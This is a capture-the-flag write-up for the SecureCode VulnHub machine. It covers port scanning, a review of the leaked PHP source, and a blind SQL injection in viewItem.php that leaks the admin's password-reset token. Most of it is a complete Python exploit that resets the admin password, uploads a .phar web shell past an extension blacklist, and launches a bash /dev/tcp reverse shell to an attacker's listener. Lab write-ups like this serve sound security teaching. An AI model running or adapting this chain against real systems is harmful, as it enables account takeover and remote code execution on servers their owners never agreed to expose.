SecureCode
https://www.vulnhub.com/entry/securecode-1,651
Network Discovery
$ sudo netdiscover
Port scan
$ sudo nmap 192.168.255.142 -p- -T4 --min-rate=10000 -sCV
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Coming Soon 2
| http-robots.txt: 1 disallowed entry
|_/login/*
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:76:E7:7A (VMware)
WEB APP
Source code: http://192.168.255.142/source_code.zip
login/resetPassword.php
<?php
include "../include/header.php";
$username = mysqli_real_escape_string($conn, @$_POST['username']);
if(isset($username) and ctype_alnum($username)){
$data = mysqli_query($conn, "SELECT * FROM user");
$users = [];
while($result= mysqli_fetch_array($data)){
array_push($users, $result['username']);
}
if(in_array($username, $users)){
$token = generateToken();
mysqli_query($conn,"UPDATE user SET token = '$token' WHERE username = '$username'");
send_email($username, $token);
$_SESSION['status']=" Password Reset Link has been sent to you via Email, please check it out.";
header("location: login.php");
die();
}else{
$_SESSION['danger']=" Username not found.";
header("location: resetPassword.php");
die();
}
}else{
?>
login/doResetPassword.php
<?php
include "../include/header.php";
$p_token = $_GET['token'];
$data = mysqli_query($conn, "SELECT * FROM user");
$tokens = [];
while($result = mysqli_fetch_array($data)){
array_push($tokens, $result['token']);
}
if(ctype_alnum($p_token) AND in_array($p_token, $tokens)){
?>
It uses a token to reset password.
When view item/
folder, all PHP files include ../include/isAuthenticated.php
to check authentication except item/viewItem.php
<?php
// Still under development
session_start();
ini_set("display_errors", 0);
include "../include/connection.php";
// see if user is authenticated, if not then redirect to login page
if($_SESSION['id_level'] != 1){
$_SESSION['danger'] = " You not have access to visit that page";
header("Location: ../login/login.php");
}
// only for users with level 1 (admins)
// prevent SQL injection
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);
//var_dump($result);
if(isset($result['id'])){
http_response_code(404);
}
?>
mysqli_real_escape_string | documentation
-- check database name hackshop
and ascii(substr(database(),1,1))=104 -- -
-- when use hex need to use ' which is not allowed
and+hex(substring(database(),4,1))='6b'+--+-
GET /item/viewItem.php?id=1+and+ascii(substring(database(),4,1))=107+--+-
When the subsequence query is true , the response is 404 Not Found
When the subsequence query is false, the resposne is 302 Found
GET /item/viewItem.php?id=1+and+1=3+--+-
In item/updateItem.php
it doesn't check MIME type, can use .phar
to avoid extension check.
<?php
include "../include/header.php";
include "../include/isAuthenticated.php";
$id = mysqli_real_escape_string($conn, $_POST['id']);
$id_user = mysqli_real_escape_string($conn, $_POST['id_user']);
$name = mysqli_real_escape_string($conn, $_POST['name']);
$imgname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
$description = mysqli_real_escape_string($conn, $_POST['description']);
$price = mysqli_real_escape_string($conn, $_POST['price']);
$blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");
if(isset($id, $id_user, $name, $imgname, $description, $price)){
$ext = strtolower(pathinfo($imgname)['extension']);
if(!in_array($ext, $blacklisted_exts)){
$up = move_uploaded_file($_FILES['image']['tmp_name'], "image/".$imgname);
$res = mysqli_query($conn, "UPDATE item SET name='$name', imgname='$imgname', description='$description',price='$price' WHERE id='$id'");
if($res == true AND $up == true){
$_SESSION['status']=" Item data has been edited";
}else{
$_SESSION['danger']=" Failed to edit Item";
}
header("Location: index.php");
die();
}else{
$_SESSION['danger']=" File is not accepted.";
header("Location: index.php");
die();
}
}else{
$_SESSION['danger']=" Some Fields are missing.";
header("Location: index.php");
}
?>
All in one, POC
import requests, argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
ALPHANUMERIC="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
proxies = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080"
}
def send_reset_password_token(session, target):
url = f"http://{target}/login/resetPassword.php"
data = {
"username":"admin"
}
headers = {
"Referer": f"http://{target}/login/login.php",
"Origin": f"http://{target}"
}
response = session.post(url, data=data, headers=headers, proxies=proxies, verify=False)
if "Password Reset Link has been sent to you via Email, please check it out." in response.text:
print("Password Reset Link has been sent to you via Email, please check it out.")
return True
print("Password reset request failed!")
return False
def send_request(session, position, char, target):
url = f"http://{target}/item/viewItem.php"
ascii_value = ord(char)
# cannot use ' cause the source code calls mysqli_real_escape_string function to avoid sql injection
payload = f"1 and (select ASCII(SUBSTRING(token,{position},1)) from user where id=1 limit 1)={ascii_value} -- -"
# print("payload: ", payload)
params = {
"id": payload
}
response = session.get(url, params=params, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 404:
return char
return None
def enumerate_token(session, target):
extracted_token = ""
position = 1
while True:
for char in ALPHANUMERIC:
result = send_request(session, position,char, target)
if result:
extracted_token += result
print(f"[+] Found character {position}: {result}")
break
else:
print(f"[!] Token extraction complete. Final token: {extracted_token}")
break
position += 1
return extracted_token
def reset_admin_password(session, target, token):
url = f"http://{target}/login/doResetPassword.php"
params = {
"token":token
}
response = session.get(url, params=params, proxies=proxies, verify=False, allow_redirects=False)
if "Valid Token Provided" in response.text:
change_admin_password(session, target, token)
else:
print("Invalid token.")
def change_admin_password(session, target, token):
url = f"http://{target}/login/doChangePassword.php"
data = {
"token":token,
"password":"admin1234!"
}
response = session.post(url, data=data, proxies=proxies, verify=False)
if "Password Changed" in response.text:
print("Admin password changed.")
else:
print("Admin password changes failed.")
def admin_login(session, target):
url = f"http://{target}/login/checkLogin.php"
data = {
"username":"admin",
"password":"admin1234!"
}
response = session.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 302:
print("Login succeed.")
return True
else:
print("Login failed.")
return False
def rce(session, target, lhost, lport):
url = f"http://{target}/item/updateItem.php"
boundary = "---------------------------394859077438028058264268240339"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Accept-Encoding": "gzip, deflate, br",
"Referer": f"http://{target}/item/editItem.php?id=1",
"Origin": f"http://{target}"
}
# Manually construct the multipart body
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="id"\r\n\r\n'
f"1\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="id_user"\r\n\r\n'
f"1\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="name"\r\n\r\n'
f"Raspery Pi 4\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="image"; filename="sample.phar"\r\n'
f'Content-Type: application/x-php\r\n\r\n'
f"<?php system($_GET['cmd']); ?>\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="description"\r\n\r\n'
f"Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="price"\r\n\r\n'
f"92\r\n"
f"--{boundary}--\r\n"
).encode('utf-8')
response = session.post(url, data=body, headers=headers, proxies=proxies, verify=False, allow_redirects=False)
if "Success!" in response.text:
print("Item has been successfully edited, triggering RCE.....")
url = f"http://{target}/item/image/sample.phar"
params = {
"cmd":fr"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
}
session.get(url, params=params, proxies=proxies, verify=False)
else:
print("Editing item failed.")
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="target website IP:Port", required=True)
parser.add_argument("-l", "--lhost", help="Local listener's IP", required=True)
parser.add_argument("-p", "--lport", help="Local listener's port", required=True)
args = parser.parse_args()
session = requests.Session()
label = send_reset_password_token(session, args.target)
if label:
token = enumerate_token(session, args.target)
if token:
reset_admin_password(session, args.target, token)
label = admin_login(session, args.target)
if label:
rce(session, args.target, args.lhost, args.lport)